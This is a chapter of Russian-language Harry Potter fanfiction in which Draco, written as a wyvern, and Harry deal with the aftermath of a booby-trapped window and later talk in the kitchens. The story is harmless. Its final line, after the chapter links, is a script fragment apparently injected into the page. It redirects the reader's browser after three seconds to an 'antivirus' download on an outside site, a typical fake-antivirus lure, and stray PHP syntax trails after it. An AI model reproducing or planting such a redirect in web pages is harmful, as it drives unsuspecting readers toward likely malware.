- Малфой напал на Гарри, - тут же отозвался Уизли. – Мы видели, что он прижал его к земле и высасывает из него воздух.

Снейп и Драко заговорили одновременно, но Гарри перебил их обоих.

- Он не нападал на меня, - сказал он и сел. – Он меня спас. Я почти… - он осекся, поглядел на остатки пузырька из-под зелья, перевел взгляд на МакГонагалл, и закончил. – Он разбился.

Ведьма заметила белое пятно на полу и коротко кивнула. Драко, все еще не до конца пришедший в себя после вторжения Поттера в его разум, заметил это и запомнил, чтобы обдумать потом.

- Мистер Уизли, - заговорила МакГонагалл, - кажется, я велела вам сегодня оставаться в башне.

- Но мы думали, что на Гарри напали… - упрямо заявил тот.

- Да, я слышала, - неумолимо ответила ведьма. – Но ваши безрассудные выходки могли привести к серьезным травмам и подвергнуть жизнь мистера Малфоя еще большей опасности.

- Но он весь в крови, а на Гарри свежие порезы, - хмуро заметил Финнеган.

Поттер опустил голову, но все равно было видно, как он покраснел.

- Это не моя кровь, - пробормотал он.

Все обернулись к по-прежнему лежащему на полу слизеринцу. Драко фыркнул, встал и стряхнул с себя осколки.

- Мне пришлось подойти близко, чтобы помочь, - объяснил он Снейпу.

- Ясно, - отозвался тот. – Возвращайся в зал и продолжай работу, а мы с профессором МакГонагалл пока все здесь осмотрим.

- А вы, - обратилась к своим студентам декан Гриффиндора, - возвращайтесь в башню. Я поговорю с вами позже.

Поминутно оглядываясь на Малфоя и явно ему не поверив, те хмуро отправились восвояси, бормоча о том, как это несправедливо. Уизли и Грейнджер опять принялись спорить, тут же забыв о том, что жизнь Поттера только что висела на волоске.

- Почему ты так долго? – спросил Драко, остановившись возле Мастера зелий. – Я думал, ты выйдешь прямо за мной, когда разбилось окно.

- Разбилось? – переспросил тот. – Я вышел только потому, что услышал твой крик.

- Когда оно разбилось, звук был не таким уж громким, - заметил Гарри. – Он был похож на хлопок. Больше шума было, когда осколки посыпались на пол. Ты, наверное, услышал, как я вскрикнул, -  сказал он, посмотрев на Драко, и сразу уставился в пол, когда тот не захотел встречаться с ним взглядом.

- Странно, - заключила МакГонагалл. Повернувшись к окну, она провела палочкой вдоль рамы. – Наверное, кто-то наложил заглушающее заклинание. А значит, окно должно было разбиться, когда кто-нибудь пройдет мимо.

- Не кто-нибудь, - покачал головой Поттер. – Я. Рон и Гермиона проходили здесь недавно, и ничего не случилось. Это было приготовлено для меня.

- Ты был с нами после их ухода, - возразил Драко. – Окно могли заколдовать позже.

- Мы рассмотрим эту возможность, - кивнул Снейп. – Но не ты, Драко. И если ты хочешь сегодня что-нибудь съесть, отправляйся и закончи с драконом.

Не то чтобы у него остался аппетит, но Драко хорошо знал этот тон. У дверей Большого зала он оглянулся на Гарри. Покрытый кровавыми пятнами, разговаривающий с МакГонагалл Золотой мальчик был похож на усталого ребенка. Драко задумался: неужели кто-то в самом деле полагает, что он сможет победить Темного лорда? - и в очередной раз порадовался, что ему не придется сражаться бок о бок с Поттером.

 Как и сказал Северус, Драко отправился ужинать только после того, как первый дракон, разобранный на тщательно уложенные в банки и запротоколированные части, разместился в хранилище возле кабинета крестного. Последние емкости они левитировали туда, когда на небе уже появились звезды. Полки заполнились контейнерами с кровью, чешуей, органами, сухожилиями и когтями. Драко знал, что на второго дракона уйдет еще больше времени. Зевнув, он поскреб зудящую кожу, покрытую высохшей кровью, но есть ему хотелось гораздо больше, чем принять душ.

- Уже поздно, - сказал Северус, - У тебя есть время только на то, чтобы поужинать и помыться. Не задерживайся.

- Да, сэр, - послушно кивнул Драко и поспешил из кабинета, пока крестный не вспомнил еще о какой-нибудь срочной работе. Когда он оказался на кухне, ему пришлось уверить Даффи, что он не ранен, прежде чем та принесла ему ужин. Накинувшись на еду, едва не обжигая рот, слизеринец увидел, как эльф ставит на стол два подноса с десертом. И верно, минуту спустя стена со знакомой картиной распахнулась, и появился Поттер. Увидев Драко, он замер в нерешительности.

- Добрый вечер, - наконец, произнес Золотой мальчик, подошел к столу и уселся.

Драко лишь кивнул и принялся за свои пирожные. Каким бы уставшим он ни был, для десерта всегда можно выкроить время. Доедая, он рассматривал руки гриффиндорца. Они едва заметно дрожали.

- Тебе лучше? – спросил Драко.

- Намного, - кивнул Поттер и оглядел слизеринца. – Ты все еще в крови.

- Слишком проголодался, - он хотел было откусить очередной кусок пирожного, но закашлялся и отвернулся.

- Еще кашляешь? Оттого, что вдохнул мое зелье? – спросил Гарри. – Почему ты не сходил к Помфри?

- Не было времени, - объяснил Драко, пытаясь отдышаться. – Все уже почти прошло. Что бы ты ни принимал, вряд ли это подействовало на меня.

Какое-то время они ели молча, и юный Малфой снова решился задать Поттеру вопрос. Может, сегодня разговор получится лучше, чем в прошлый раз, особенно если Гарри все еще чувствует себя виноватым за случившееся.

- Кстати, что это было за зелье?

Прежде чем ответить, гриффиндорец доел.

- Просто средство, необходимое, чтобы держать меня в форме. В прошлом году кое-что случилось.

- То приключение, где ты заработал очередную тысячу баллов?

Гарри слегка улыбнулся.

- Не совсем тысячу… ты что, ничего не слышал на прощальном пиру в прошлом году?

- Я не прислушивался. Мы с отцом были так заняты, что я не замечал почти ничего кроме наших планов.

- Твой отец… - негромко сказал Гарри. – Я сначала об этом не подумал, но… он такой же, как ты? Я имею в виду – вы оба урожденные Малфои.

- Если тебе интересно, полукровка ли он, то да, - «и он намного больше», - закончил про себя Драко.

- Он такой же маленький, как и ты?

Слизеринец подумал, что у Поттера талант задавать очень раздражающие вопросы.

- Я – уникальный случай для нашей семьи. Обычно виверны намного больше.

Гарри собрался что-то сказать, но передумал и промолчал. Покончив со своим десертом, он поднялся и направился к выходу, но на полпути обернулся.

- Эй, Малфой.

- Что?

- Ты был прав. Ты можешь быть вежливым… иногда, -  и ушел.

Драко уставился ему вслед.

Предыдущая глава   Оглавление   Следующая глава

Обсуждение на форуме

setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);'); } ?>